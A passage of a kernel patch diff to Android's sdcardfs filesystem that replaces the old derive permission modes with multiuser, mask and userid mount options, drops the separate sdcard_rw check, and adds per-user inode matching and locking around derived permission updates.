get_derive_permissions_recursive(struct dentry *parent) { + struct dentry *dentry; + list_for_each_entry(dentry, &parent->d_subdirs, d_u.d_child) { + if (dentry && dentry->d_inode) { + mutex_lock(&dentry->d_inode->i_mutex); + get_derived_permission(parent, dentry); + fix_derived_permission(dentry->d_inode); + get_derive_permissions_recursive(dentry); + mutex_unlock(&dentry->d_inode->i_mutex); + } + } +} + /* main function for updating derived permission */ -inline void update_derived_permission(struct dentry *dentry) +inline void update_derived_permission_lock(struct dentry *dentry) { struct dentry *parent; @@ -154,6 +135,7 @@ inline void update_derived_permission(struct dentry *dentry) * 1. need to check whether the dentry is updated or not * 2. remove the root dentry update */ + mutex_lock(&dentry->d_inode->i_mutex); if(IS_ROOT(dentry)) { //setup_default_pre_root_state(dentry->d_inode); } else { @@ -164,6 +146,7 @@ inline void update_derived_permission(struct dentry *dentry) } } fix_derived_permission(dentry->d_inode); + mutex_unlock(&dentry->d_inode->i_mutex); } int need_graft_path(struct dentry *dentry) @@ -177,7 +160,7 @@ int need_graft_path(struct dentry *dentry) !strcasecmp(dentry->d_name.name, "obb")) { /* /Android/obb is the base obbpath of DERIVED_UNIFIED */ - if(!(sbi->options.derive == DERIVE_UNIFIED + if(!(sbi->options.multiuser == false && parent_info->userid == 0)) { ret = 1; } @@ -207,8 +190,7 @@ int is_obbpath_invalid(struct dentry *dent) path_buf = kmalloc(PATH_MAX, GFP_ATOMIC); if(!path_buf) { ret = 1; - printk(KERN_ERR "sdcardfs: " - "fail to allocate path_buf in %s.\n", __func__); + printk(KERN_ERR "sdcardfs: fail to allocate path_buf in %s.\n", __func__); } else { obbpath_s = d_path(&di->lower_path, path_buf, PATH_MAX); if (d_unhashed(di->lower_path.dentry) || @@ -234,21 +216,16 @@ int is_base_obbpath(struct dentry *dentry) struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); spin_lock(&SDCARDFS_D(dentry)->lock); - /* DERIVED_LEGACY */ - if(parent_info->perm == PERM_LEGACY_PRE_ROOT && - !strcasecmp(dentry->d_name.name, "obb")) { - ret = 1; - } - /* DERIVED_UNIFIED :/Android/obb is the base obbpath */ - else if (parent_info->perm == PERM_ANDROID && - !strcasecmp(dentry->d_name.name, "obb")) { - if((sbi->options.derive == DERIVE_UNIFIED - && parent_info->userid == 0)) { + if (sbi->options.multiuser) { + if(parent_info->perm == PERM_PRE_ROOT && + !strcasecmp(dentry->d_name.name, "obb")) { ret = 1; } + } else if (parent_info->perm == PERM_ANDROID && + !strcasecmp(dentry->d_name.name, "obb")) { + ret = 1; } spin_unlock(&SDCARDFS_D(dentry)->lock); - dput(parent); return ret; } @@ -272,8 +249,7 @@ int setup_obb_dentry(struct dentry *dentry, struct path *lower_path) if(!err) { /* the obbpath base has been found */ - printk(KERN_INFO "sdcardfs: " - "the sbi->obbpath is found\n"); + printk(KERN_INFO "sdcardfs: the sbi->obbpath is found\n"); pathcpy(lower_path, &obbpath); } else { /* if the sbi->obbpath is not available, we can optionally @@ -281,8 +257,7 @@ int setup_obb_dentry(struct dentry *dentry, struct path *lower_path) * but, the current implementation just returns an error * because the sdcard daemon also regards this case as * a lookup fail. */ - printk(KERN_INFO "sdcardfs: " - "the sbi->obbpath is not available\n"); + printk(KERN_INFO "sdcardfs: the sbi->obbpath is not available\n"); } return err; } diff --git a/fs/sdcardfs/file.c b/fs/sdcardfs/file.c index 8cd51c91f2ea9..369051e6dce2a 100755 --- a/fs/sdcardfs/file.c +++ b/fs/sdcardfs/file.c @@ -209,7 +209,6 @@ static int sdcardfs_open(struct inode *inode, struct file *file) struct dentry *parent = dget_parent(dentry); struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); const struct cred *saved_cred = NULL; - int has_rw; /* don't open unhashed/deleted files */ if (d_unhashed(dentry)) { @@ -217,11 +216,7 @@ static int sdcardfs_open(struct inode *inode, struct file *file) goto out_err; } - has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); - - if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name, - sbi->options.derive, - open_flags_to_access_mode(file->f_flags), has_rw)) { + if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name)) { printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" " dentry: %s, task:%s\n", __func__, dentry->d_name.name, current->comm); @@ -257,8 +252,7 @@ static int sdcardfs_open(struct inode *inode, struct file *file) if (err) kfree(SDCARDFS_F(file)); else { - fsstack_copy_attr_all(inode, sdcardfs_lower_inode(inode)); - fix_derived_permission(inode); + sdcardfs_copy_and_fix_attrs(inode, sdcardfs_lower_inode(inode)); } out_revert_cred: diff --git a/fs/sdcardfs/inode.c b/fs/sdcardfs/inode.c index 0a6a04941b4e7..0f4aa17645d6f 100755 --- a/fs/sdcardfs/inode.c +++ b/fs/sdcardfs/inode.c @@ -55,11 +55,9 @@ static int sdcardfs_create(struct inode *dir, struct dentry *dentry, struct dentry *lower_dentry; struct dentry *lower_parent_dentry = NULL; struct path lower_path; - struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); const struct cred *saved_cred = NULL; - int has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); - if(!check_caller_access_to_name(dir, dentry->d_name.name, sbi->options.derive, 1, has_rw)) { + if(!check_caller_access_to_name(dir, dentry->d_name.name)) { printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" " dentry: %s, task:%s\n", __func__, dentry->d_name.name, current->comm); @@ -80,7 +78,7 @@ static int sdcardfs_create(struct inode *dir, struct dentry *dentry, if (err) goto out; - err = sdcardfs_interpose(dentry, dir->i_sb, &lower_path); + err = sdcardfs_interpose(dentry, dir->i_sb, &lower_path, SDCARDFS_I(dir)->userid); if (err) goto out; fsstack_copy_attr_times(dir, sdcardfs_lower_inode(dir)); @@ -143,11 +141,9 @@ static int sdcardfs_unlink(struct inode *dir, struct dentry *dentry) struct inode *lower_dir_inode = sdcardfs_lower_inode(dir); struct dentry *lower_dir_dentry; struct path lower_path; - struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); const struct cred *saved_cred = NULL; - int has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); - if(!check_caller_access_to_name(dir, dentry->d_name.name, sbi->options.derive, 1, has_rw)) { + if(!check_caller_access_to_name(dir, dentry->d_name.name)) { printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" " dentry: %s, task:%s\n", __func__, dentry->d_name.name, current->comm); @@ -255,8 +251,7 @@ static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode int fullpath_namelen; int touch_err = 0; - int has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); - if(!check_caller_access_to_name(dir, dentry->d_name.name, sbi->options.derive, 1, has_rw)) { + if(!check_caller_access_to_name(dir, dentry->d_name.name)) { printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" " dentry: %s, task:%s\n", __func__, dentry->d_name.name, current->comm); @@ -293,19 +288,19 @@ static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode if(err) { /* if the sbi->obbpath is not available, the lower_path won't be * changed by setup_obb_dentry() but the lower path is saved to - * its orig_path. this dentry will be revalidated later. + * its orig_path. this dentry will be revalidated later. * but now, the lower_path should be NULL */ sdcardfs_put_reset_lower_path(dentry); /* the newly created lower path which saved to its orig_path or * the lower_path is the base obbpath. - * therefore, an additional path_get is required */ + * therefore, an additional path_get is required */ path_get(&lower_path); } else make_nomedia_in_obb = 1; } - err = sdcardfs_interpose(dentry, dir->i_sb, &lower_path); + err = sdcardfs_interpose(dentry, dir->i_sb, &lower_path, pi->userid); if (err) goto out; @@ -314,7 +309,7 @@ static int sdcardfs_mkdir(struct inode *dir, struct dentry *dentry, umode_t mode /* update number of links on parent directory */ set_nlink(dir, sdcardfs_lower_inode(dir)->i_nlink); - if ((sbi->options.derive == DERIVE_UNIFIED) && (!strcasecmp(dentry->d_name.name, "obb")) + if ((!sbi->options.multiuser) && (!strcasecmp(dentry->d_name.name, "obb")) && (pi->perm == PERM_ANDROID) && (pi->userid == 0)) make_nomedia_in_obb = 1; @@ -371,12 +366,9 @@ static int sdcardfs_rmdir(struct inode *dir, struct dentry *dentry) struct dentry *lower_dir_dentry; int err; struct path lower_path; - struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); const struct cred *saved_cred = NULL; - //char *path_s = NULL; - int has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); - if(!check_caller_access_to_name(dir, dentry->d_name.name, sbi->options.derive, 1, has_rw)) { + if(!check_caller_access_to_name(dir, dentry->d_name.name)) { printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" " dentry: %s, task:%s\n", __func__, dentry->d_name.name, current->comm); @@ -461,14 +453,10 @@ static int sdcardfs_rename(struct inode *old_dir, struct dentry *old_dentry, struct dentry *trap = NULL; struct dentry *new_parent = NULL; struct path lower_old_path, lower_new_path; - struct sdcardfs_sb_info *sbi = SDCARDFS_SB(old_dentry->d_sb); const struct cred *saved_cred = NULL; - int has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); - if(!check_caller_access_to_name(old_dir, old_dentry->d_name.name, - sbi->options.derive, 1, has_rw) || - !check_caller_access_to_name(new_dir, new_dentry->d_name.name, - sbi->options.derive, 1, has_rw)) { + if(!check_caller_access_to_name(old_dir, old_dentry->d_name.name) || + !check_caller_access_to_name(new_dir, new_dentry->d_name.name)) { printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" " new_dentry: %s, task:%s\n", __func__, new_dentry->d_name.name, current->comm); @@ -504,26 +492,31 @@ static int sdcardfs_rename(struct inode *old_dir, struct dentry *old_dentry, goto out; /* Copy attrs from lower dir, but i_uid/i_gid */ - fsstack_copy_attr_all(new_dir, lower_new_dir_dentry->d_inode); + sdcardfs_copy_and_fix_attrs(new_dir, lower_new_dir_dentry->d_inode); fsstack_copy_inode_size(new_dir, lower_new_dir_dentry->d_inode); - fix_derived_permission(new_dir); + if (new_dir != old_dir) { - fsstack_copy_attr_all(old_dir, lower_old_dir_dentry->d_inode); + sdcardfs_copy_and_fix_attrs(old_dir, lower_old_dir_dentry->d_inode); fsstack_copy_inode_size(old_dir, lower_old_dir_dentry->d_inode); - fix_derived_permission(old_dir); + /* update the derived permission of the old_dentry * with its new parent */ new_parent = dget_parent(new_dentry); if(new_parent) { if(old_dentry->d_inode) { - get_derived_permission(new_parent, old_dentry); - fix_derived_permission(old_dentry->d_inode); + update_derived_permission_lock(old_dentry); } dput(new_parent); } } - + /* At this point, not all dentry information has been moved, so + * we pass along new_dentry for the name.*/ + mutex_lock(&old_dentry->d_inode->i_mutex); + get_derived_permission_new(new_dentry->d_parent, old_dentry, new_dentry); + fix_derived_permission(old_dentry->d_inode); + get_derive_permissions_recursive(old_dentry); + mutex_unlock(&old_dentry->d_inode->i_mutex); out: unlock_rename(lower_old_dir_dentry, lower_new_dir_dentry); dput(lower_old_dir_dentry); @@ -651,11 +644,9 @@ static int sdcardfs_getattr(struct vfsmount *mnt, struct dentry *dentry, struct inode *lower_inode; struct path lower_path; struct dentry *parent; - struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); parent = dget_parent(dentry); - if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name, - sbi->options.derive, 0, 0)) { + if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name)) { printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" " dentry: %s, task:%s\n", __func__, dentry->d_name.name, current->comm); @@ -670,13 +661,10 @@ static int sdcardfs_getattr(struct vfsmount *mnt, struct dentry *dentry, lower_dentry = lower_path.dentry; lower_inode = sdcardfs_lower_inode(inode); - fsstack_copy_attr_all(inode, lower_inode); + + sdcardfs_copy_and_fix_attrs(inode, lower_inode); fsstack_copy_inode_size(inode, lower_inode); - /* if the dentry has been moved from other location - * so, on this stage, its derived permission must be - * rechecked from its private field. - */ - fix_derived_permission(inode); + generic_fillattr(inode, stat); sdcardfs_put_lower_path(dentry, &lower_path); @@ -691,9 +679,7 @@ static int sdcardfs_setattr(struct dentry *dentry, struct iattr *ia) struct inode *lower_inode; struct path lower_path; struct iattr lower_ia; - struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); struct dentry *parent; - int has_rw; inode = dentry->d_inode; @@ -707,10 +693,8 @@ static int sdcardfs_setattr(struct dentry *dentry, struct iattr *ia) /* no vfs_XXX operations required, cred overriding will be skipped. wj*/ if (!err) { /* check the Android group ID */ - has_rw = get_caller_has_rw_locked(sbi->pkgl_id, sbi->options.derive); parent = dget_parent(dentry); - if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name, - sbi->options.derive, 1, has_rw)) { + if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name)) { printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" " dentry: %s, task:%s\n", __func__, dentry->d_name.name, current->comm); @@ -774,10 +758,8 @@ static int sdcardfs_setattr(struct dentry *dentry, struct iattr *ia) if (err) goto out; - /* get attributes from the lower inode */ - fsstack_copy_attr_all(inode, lower_inode); - /* update derived permission of the upper inode */ - fix_derived_permission(inode); + /* get attributes from the lower inode and update derived permissions */ + sdcardfs_copy_and_fix_attrs(inode, lower_inode); /* * Not running fsstack_copy_inode_size(inode, lower_inode), because diff --git a/fs/sdcardfs/lookup.c b/fs/sdcardfs/lookup.c index a4b94df99f320..f80abcb6b4675 100755 --- a/fs/sdcardfs/lookup.c +++ b/fs/sdcardfs/lookup.c @@ -64,10 +64,17 @@ int new_dentry_private_data(struct dentry *dentry) return 0; } -static int sdcardfs_inode_test(struct inode *inode, void *candidate_lower_inode) +struct inode_data { + struct inode *lower_inode; + userid_t id; +}; + +static int sdcardfs_inode_test(struct inode *inode, void *candidate_data/*void *candidate_lower_inode*/) { struct inode *current_lower_inode = sdcardfs_lower_inode(inode); - if (current_lower_inode == (struct inode *)candidate_lower_inode) + userid_t current_userid = SDCARDFS_I(inode)->userid; + if (current_lower_inode == ((struct inode_data *)candidate_data)->lower_inode && + current_userid == ((struct inode_data *)candidate_data)->id) return 1; /* found a match */ else return 0; /* no match */ @@ -79,12 +86,15 @@ static int sdcardfs_inode_set(struct inode *inode, void *lower_inode) return 0; } -struct inode *sdcardfs_iget(struct super_block *sb, struct inode *lower_inode) +struct inode *sdcardfs_iget(struct super_block *sb, struct inode *lower_inode, userid_t id) { struct sdcardfs_inode_info *info; + struct inode_data data; struct inode *inode; /* the new inode to return */ int err; + data.id = id; + data.lower_inode = lower_inode; inode = iget5_locked(sb, /* our superblock */ /* * hashval: we use inode number, but we can @@ -94,7 +104,7 @@ struct inode *sdcardfs_iget(struct super_block *sb, struct inode *lower_inode) lower_inode->i_ino, /* hashval */ sdcardfs_inode_test, /* inode comparison function */ sdcardfs_inode_set, /* inode init function */ - lower_inode); /* data passed to test+set fxns */ + &data); /* data passed to test+set fxns */ if (!inode) { err = -EACCES; iput(lower_inode); @@ -146,11 +156,9 @@ struct inode *sdcardfs_iget(struct super_block *sb, struct inode *lower_inode) lower_inode->i_rdev); /* all well, copy inode attributes */ - fsstack_copy_attr_all(inode, lower_inode); + sdcardfs_copy_and_fix_attrs(inode, lower_inode); fsstack_copy_inode_size(inode, lower_inode); - fix_derived_permission(inode); - unlock_new_inode(inode); return inode; } @@ -164,7 +172,7 @@ struct inode *sdcardfs_iget(struct super_block *sb, struct inode *lower_inode) * @lower_path: the lower path (caller does path_get/put) */ int sdcardfs_interpose(struct dentry *dentry, struct super_block *sb, - struct path *lower_path) + struct path *lower_path, userid_t id) { int err = 0; struct inode *inode; @@ -186,14 +194,14 @@ int sdcardfs_interpose(struct dentry *dentry, struct super_block *sb, */ /* inherit lower inode number for sdcardfs's inode */ - inode = sdcardfs_iget(sb, lower_inode); + inode = sdcardfs_iget(sb, lower_inode, id); if (IS_ERR(inode)) { err = PTR_ERR(inode); goto out; } d_add(dentry, inode); - update_derived_permission(dentry); + update_derived_permission_lock(dentry); out: return err; } @@ -205,7 +213,7 @@ int sdcardfs_interpose(struct dentry *dentry, struct super_block *sb, * Fills in lower_parent_path with on success. */ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, - unsigned int flags, struct path *lower_parent_path) + unsigned int flags, struct path *lower_parent_path, userid_t id) { int err = 0; struct vfsmount *lower_dir_mnt; @@ -266,7 +274,7 @@ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, } sdcardfs_set_lower_path(dentry, &lower_path); - err = sdcardfs_interpose(dentry, dentry->d_sb, &lower_path); + err = sdcardfs_interpose(dentry, dentry->d_sb, &lower_path, id); if (err) /* path_put underlying path on error */ sdcardfs_put_reset_lower_path(dentry); goto out; @@ -328,13 +336,11 @@ struct dentry *sdcardfs_lookup(struct inode *dir, struct dentry *dentry, struct dentry *ret = NULL, *parent; struct path lower_parent_path; int err = 0; - struct sdcardfs_sb_info *sbi = SDCARDFS_SB(dentry->d_sb); const struct cred *saved_cred = NULL; parent = dget_parent(dentry); - if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name, - sbi->options.derive, 0, 0)) { + if(!check_caller_access_to_name(parent->d_inode, dentry->d_name.name)) { ret = ERR_PTR(-EACCES); printk(KERN_INFO "%s: need to check the caller's gid in packages.list\n" " dentry: %s, task:%s\n", @@ -354,7 +360,7 @@ struct dentry *sdcardfs_lookup(struct inode *dir, struct dentry *dentry, goto out; } - ret = __sdcardfs_lookup(dentry, flags, &lower_parent_path); + ret = __sdcardfs_lookup(dentry, flags, &lower_parent_path, SDCARDFS_I(dir)->userid); if (IS_ERR(ret)) { goto out; @@ -365,8 +371,10 @@ struct dentry *sdcardfs_lookup(struct inode *dir, struct dentry *dentry, fsstack_copy_attr_times(dentry->d_inode, sdcardfs_lower_inode(dentry->d_inode)); /* get drived permission */ + mutex_lock(&dentry->d_inode->i_mutex); get_derived_permission(parent, dentry); fix_derived_permission(dentry->d_inode); + mutex_unlock(&dentry->d_inode->i_mutex); } /* update parent directory's atime */ fsstack_copy_attr_atime(parent->d_inode, diff --git a/fs/sdcardfs/main.c b/fs/sdcardfs/main.c index 9d04ae8ceb467..80aa355d801e4 100755 --- a/fs/sdcardfs/main.c +++ b/fs/sdcardfs/main.c @@ -24,25 +24,27 @@ #include enum { - Opt_uid, + Opt_fsuid, + Opt_fsgid, Opt_gid, - Opt_wgid, Opt_debug, - Opt_split, - Opt_derive, Opt_lower_fs, + Opt_mask, + Opt_multiuser, // May need? + Opt_userid, Opt_reserved_mb, Opt_err, }; static const match_table_t sdcardfs_tokens = { - {Opt_uid, "uid=%u"}, + {Opt_fsuid, "fsuid=%u"}, + {Opt_fsgid, "fsgid=%u"}, {Opt_gid, "gid=%u"}, - {Opt_wgid, "wgid=%u"}, {Opt_debug, "debug"}, - {Opt_split, "split"}, - {Opt_derive, "derive=%s"}, {Opt_lower_fs, "lower_fs=%s"}, + {Opt_mask, "mask=%u"}, + {Opt_userid, "userid=%d"}, + {Opt_multiuser, "multiuser"}, {Opt_reserved_mb, "reserved_mb=%u"}, {Opt_err, NULL} }; @@ -58,12 +60,10 @@ static int parse_options(struct super_block *sb, char *options, int silent, /* by default, we use AID_MEDIA_RW as uid, gid */ opts->fs_low_uid = AID_MEDIA_RW; opts->fs_low_gid = AID_MEDIA_RW; - /* by default, we use AID_SDCARD_RW as write_gid */ - opts->write_gid = AID_SDCARD_RW; - /* default permission policy - * (DERIVE_NONE | DERIVE_LEGACY | DERIVE_UNIFIED) */ - opts->derive = DERIVE_NONE; - opts->split_perms = 0; + opts->mask = 0; + opts->multiuser = false; + opts->fs_user_id = 0; + opts->gid = 0; /* by default, we use LOWER_FS_EXT4 as lower fs type */ opts->lower_fs = LOWER_FS_EXT4; /* by default, 0MB is reserved */ @@ -85,37 +85,33 @@ static int parse_options(struct super_block *sb, char *options, int silent, case Opt_debug: *debug = 1; break; - case Opt_uid: + case Opt_fsuid: if (match_int(&args[0], &option)) return 0; opts->fs_low_uid = option; break; - case Opt_gid: + case Opt_fsgid: if (match_int(&args[0], &option)) return 0; opts->fs_low_gid = option; break; - case Opt_wgid: + case Opt_gid: if (match_int(&args[0], &option)) return 0; - opts->write_gid = option; + opts->gid = option; break; - case Opt_split: - opts->split_perms=1; + case Opt_userid: + if (match_int(&args[0], &option)) + return 0; + opts->fs_user_id = option; break; - case Opt_derive: - string_option = match_strdup(&args[0]); - if (!strcmp("none", string_option)) { - opts->derive = DERIVE_NONE; - } else if (!strcmp("legacy", string_option)) { - opts->derive = DERIVE_LEGACY; - } else if (!strcmp("unified", string_option)) { - opts->derive = DERIVE_UNIFIED; - } else { - kfree(string_option); - goto invalid_option; - } - kfree(string_option); + case Opt_mask: + if (match_int(&args[0], &option)) + return 0; + opts->mask = option; + break; + case Opt_multiuser: + opts->multiuser = true; break; case Opt_lower_fs: string_option = match_strdup(&args[0]); @@ -184,6 +180,11 @@ static struct dentry *sdcardfs_d_alloc_root(struct super_block *sb) } #endif +DEFINE_MUTEX(sdcardfs_super_list_lock); +LIST_HEAD(sdcardfs_super_list); +EXPORT_SYMBOL_GPL(sdcardfs_super_list_lock); +EXPORT_SYMBOL_GPL(sdcardfs_super_list); + /* * There is no need to lock the sdcardfs_super_info's rwsem as there is no * way anyone can have a reference to the superblock at this point in time. @@ -196,7 +197,6 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, struct super_block *lower_sb; struct path lower_path; struct sdcardfs_sb_info *sb_info; - void *pkgl_id; struct inode *inode; printk(KERN_INFO "sdcardfs version 2.0\n"); @@ -215,8 +215,7 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, err = kern_path(dev_name, LOOKUP_FOLLOW | LOOKUP_DIRECTORY, &lower_path); if (err) { - printk(KERN_ERR "sdcardfs: error accessing " - "lower directory '%s'\n", dev_name); + printk(KERN_ERR "sdcardfs: error accessing lower directory '%s'\n", dev_name); goto out; } @@ -229,7 +228,6 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, } sb_info = sb->s_fs_info; - /* parse options */ err = parse_options(sb, raw_data, silent, &debug, &sb_info->options); if (err) { @@ -237,14 +235,6 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, goto out_freesbi; } - if (sb_info->options.derive != DERIVE_NONE) { - pkgl_id = packagelist_create(sb_info->options.write_gid); - if(IS_ERR(pkgl_id)) - goto out_freesbi; - else - sb_info->pkgl_id = pkgl_id; - } - /* set the lower superblock field of upper superblock */ lower_sb = lower_path.dentry->d_sb; atomic_inc(&lower_sb->s_active); @@ -263,7 +253,7 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, sb->s_op = &sdcardfs_sops; /* get a new inode and allocate our root dentry */ - inode = sdcardfs_iget(sb, lower_path.dentry->d_inode); + inode = sdcardfs_iget(sb, lower_path.dentry->d_inode, 0); if (IS_ERR(inode)) { err = PTR_ERR(inode); goto out_sput; @@ -292,41 +282,22 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, d_rehash(sb->s_root); /* setup permission policy */ - switch(sb_info->options.derive) { - case DERIVE_NONE: - setup_derived_state(sb->s_root->d_inode, - PERM_ROOT, 0, AID_ROOT, AID_SDCARD_RW, 00775); - sb_info->obbpath_s = NULL; - break; - case DERIVE_LEGACY: - /* Legacy behavior used to support internal multiuser layout which - * places user_id at the top directory level, with the actual roots - * just below that. Shared OBB path is also at top level. */ - setup_derived_state(sb->s_root->d_inode, - PERM_LEGACY_PRE_ROOT, 0, AID_ROOT, AID_SDCARD_R, 00771); - /* initialize the obbpath string and lookup the path - * sb_info->obb_path will be deactivated by path_put - * on sdcardfs_put_super */ - sb_info->obbpath_s = kzalloc(PATH_MAX, GFP_KERNEL); - snprintf(sb_info->obbpath_s, PATH_MAX, "%s/obb", dev_name); - err = prepare_dir(sb_info->obbpath_s, + sb_info->obbpath_s = kzalloc(PATH_MAX, GFP_KERNEL); + mutex_lock(&sdcardfs_super_list_lock); + if(sb_info->options.multiuser) { + setup_derived_state(sb->s_root->d_inode, PERM_PRE_ROOT, sb_info->options.fs_user_id, AID_ROOT, false); + snprintf(sb_info->obbpath_s, PATH_MAX, "%s/obb", dev_name); + /*err = prepare_dir(sb_info->obbpath_s, sb_info->options.fs_low_uid, - sb_info->options.fs_low_gid, 00755); - if(err) - printk(KERN_ERR "sdcardfs: %s: %d, error on creating %s\n", - __func__,__LINE__, sb_info->obbpath_s); - break; - case DERIVE_UNIFIED: - /* Unified multiuser layout which places secondary user_id under - * /Android/user and shared OBB path under /Android/obb. */ - setup_derived_state(sb->s_root->d_inode, - PERM_ROOT, 0, AID_ROOT, AID_SDCARD_R, 00771); - - sb_info->obbpath_s = kzalloc(PATH_MAX, GFP_KERNEL); - snprintf(sb_info->obbpath_s, PATH_MAX, "%s/Android/obb", dev_name); - break; + sb_info->options.fs_low_gid, 00755);*/ + } else { + setup_derived_state(sb->s_root->d_inode, PERM_ROOT, sb_info->options.fs_low_uid, AID_ROOT, false); + snprintf(sb_info->obbpath_s, PATH_MAX, "%s/Android/obb", dev_name); } fix_derived_permission(sb->s_root->d_inode); + sb_info->sb = sb; + list_add(&sb_info->list, &sdcardfs_super_list); + mutex_unlock(&sdcardfs_super_list_lock); if (!silent) printk(KERN_INFO "sdcardfs: mounted on top of %s type %s\n", @@ -341,7 +312,6 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, out_sput: /* drop refs we took earlier */ atomic_dec(&lower_sb->s_active); - packagelist_destroy(sb_info->pkgl_id); out_freesbi: kfree(SDCARDFS_SB(sb)); sb->s_fs_info = NULL; @@ -386,11 +356,22 @@ struct dentry *sdcardfs_mount(struct file_system_type *fs_type, int flags, raw_data, sdcardfs_read_super); } +void sdcardfs_kill_sb(struct super_block *sb) { + struct sdcardfs_sb_info *sbi; + if (sb->s_magic == SDCARDFS_SUPER_MAGIC) { + sbi = SDCARDFS_SB(sb); + mutex_lock(&sdcardfs_super_list_lock); + list_del(&sbi->list); + mutex_unlock(&sdcardfs_super_list_lock); + } + generic_shutdown_super(sb); +} + static struct file_system_type sdcardfs_fs_type = { .owner = THIS_MODULE, .name = SDCARDFS_NAME, .mount = sdcardfs_mount, - .kill_sb = generic_shutdown_super, + .kill_sb = sdcardfs_kill_sb, .fs_flags = 0, }; diff --git a/fs/sdcardfs/packagelist.c b/fs/sdcardfs/packagelist.c index 61354ff2dc209..cf1f8027499dd 100755 --- a/fs/sdcardfs/packagelist.c +++ b/fs/sdcardfs/packagelist.c @@ -19,13 +19,16 @@ */ #include "sdcardfs.h" -#include "strtok.h" #include -#include -#include -#include #include + +#include +#include +#include + +#include + #define STRING_BUF_SIZE (512) struct hashtable_entry { @@ -34,25 +37,20 @@ struct hashtable_entry { unsigned int value; }; +struct sb_list { + struct super_block *sb; + struct list_head list; +}; + struct packagelist_data { DECLARE_HASHTABLE(package_to_appid,8); - DECLARE_HASHTABLE(appid_with_rw,7); struct mutex hashtable_lock; - struct task_struct *thread_id; - gid_t write_gid; - char *strtok_last; - char read_buf[STRING_BUF_SIZE]; - char event_buf[STRING_BUF_SIZE]; - char app_name_buf[STRING_BUF_SIZE]; - char gids_buf[STRING_BUF_SIZE]; + }; -static struct kmem_cache *hashtable_entry_cachep; +static struct packagelist_data *pkgl_data_all; -/* Path to system-provided mapping of package name to appIds */ -static const char* const kpackageslist_file = "/data/system/packages.list"; -/* Supplementary groups to execute with */ -static const gid_t kgroups[1] = { AID_PACKAGE_INFO }; +static struct kmem_cache *hashtable_entry_cachep; static unsigned int str_hash(const char *key) { int i; @@ -66,62 +64,29 @@ static unsigned int str_hash(const char *key) { return h; } -static int contain_appid_key(struct packagelist_data *pkgl_dat, unsigned int appid) { - struct hashtable_entry *hash_cur; - - hash_for_each_possible(pkgl_dat->appid_with_rw, hash_cur, hlist, appid) - if ((void *)(uintptr_t)appid == hash_cur->key) - return 1; - - return 0; -} - -/* Return if the calling UID holds sdcard_rw. */ -int get_caller_has_rw_locked(void *pkgl_id, derive_t derive) { - struct packagelist_data *pkgl_dat = (struct packagelist_data *)pkgl_id; - appid_t appid; - int ret; - - /* No additional permissions enforcement */ - if (derive == DERIVE_NONE) { - return 1; - } - - appid = multiuser_get_app_id(current_fsuid()); - mutex_lock(&pkgl_dat->hashtable_lock); - ret = contain_appid_key(pkgl_dat, appid); - mutex_unlock(&pkgl_dat->hashtable_lock); - return ret; -} - appid_t get_appid(void *pkgl_id, const char *app_name) { - struct packagelist_data *pkgl_dat = (struct packagelist_data *)pkgl_id; + struct packagelist_data *pkgl_dat = pkgl_data_all; struct hashtable_entry *hash_cur; unsigned int hash = str_hash(app_name); appid_t ret_id; - //printk(KERN_INFO "sdcardfs: %s: %s, %u\n", __func__, (char *)app_name, hash); mutex_lock(&pkgl_dat->hashtable_lock); hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash) { - //printk(KERN_INFO "sdcardfs: %s: %s\n", __func__, (char *)hash_cur->key); if (!strcasecmp(app_name, hash_cur->key)) { ret_id = (appid_t)hash_cur->value; mutex_unlock(&pkgl_dat->hashtable_lock); - //printk(KERN_INFO "=> app_id: %d\n", (int)ret_id); return ret_id; } } mutex_unlock(&pkgl_dat->hashtable_lock); - //printk(KERN_INFO "=> app_id: %d\n", 0); return 0; } /* Kernel has already enforced everything we returned through * derive_permissions_locked(), so this is used to lock down access * even further, such as enforcing that apps hold sdcard_rw. */ -int check_caller_access_to_name(struct inode *parent_node, const char* name, - derive_t derive, int w_ok, int has_rw) { +int check_caller_access_to_name(struct inode *parent_node, const char* name) { /* Always block security-sensitive files at root */ if (parent_node && SDCARDFS_I(parent_node)->perm == PERM_ROOT) { @@ -132,27 